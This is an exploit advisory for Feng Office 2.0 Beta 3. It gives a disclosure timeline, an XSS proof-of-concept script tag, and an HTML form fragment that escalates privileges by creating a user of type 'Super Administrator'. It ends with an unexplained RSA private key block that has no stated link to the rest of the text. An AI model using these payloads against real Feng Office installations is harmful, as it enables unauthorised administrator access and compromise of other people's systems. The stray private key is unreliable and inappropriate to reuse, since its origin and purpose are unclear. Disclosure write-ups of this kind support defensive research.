Feng Office 2.0 Beta 3 XSS / Privilege Escalation

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INDEPENDENT SECURITY RESEARCHER   
PENETRATION TESTING SECURITY  
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# Author: Ur0b0r0x  
# Tiwtte: @Ur0b0r0x  
# Email: [email protected]  
# Line: GreyHat  
# Home: cyberpunk-ur0x.blogspot.com  
  
  
# Exploit Title: Feng Office Version 2.0 Beta 3 - Cross-Site Scripting / Remote Privilege Escalation  
# Date: 21/11/2012  
# Author: Ur0b0r0x  
# Url Vendor: http:www.fengoffice.com/  
# Vendor Name: Feng Office  
# Tested On: Backtrack R3 / Linux Mint  
# Type: php  
  
------------------- Agreement --------------------  
[17/11/2012] - Vulnerability discovered  
[19/11/2012] - Vendor notified Dont responsed  
[21/11/2012] - Public disclosure   
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# Proof of Concept Video  
http://www.youtube.com/watch?v=Q_B_5VkAVhU  
  
# Expl0it/P0c/Xss ###################  
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
  
# Expl0it/P0c/Privilege Escalation ###################  
<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">  
<input type="hidden" value="" name="contact[hf_contacts]">  
<label for="og_1353469580_283914profileFormFirstName">First name:   
<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_1353469580_283914profileFormFirstName">  
<label for="og_1353469580_283914profileFormSurName">Last name:   
<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_1353469580_283914profileFormSurname">   
<label for="og_1353469580_283914profileFormEmail">Email address:</label>   
<input type="text" value="[email protected]" name="contact[email]" style="width:260px;" maxlength="100" id="og_1353469580_283914profileFormEmail">  
<div style="" class="user-data">  
<label>Password:<input type="password" name="contact[user][password]">  
<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">  
<select name="contact[user][type]">  
<option value="1">Super Administrator</option>  
<button tabindex="20000" id="og_1353471270_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>  
  
  
-----BEGIN RSA PRIVATE KEY-----  
MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl  
Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi  
2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB  
AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8  
GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX  
X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/  
WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R  
8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL  
Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM  
8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM  
BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY  
ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J  
X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/  
-----END RSA PRIVATE KEY-----  
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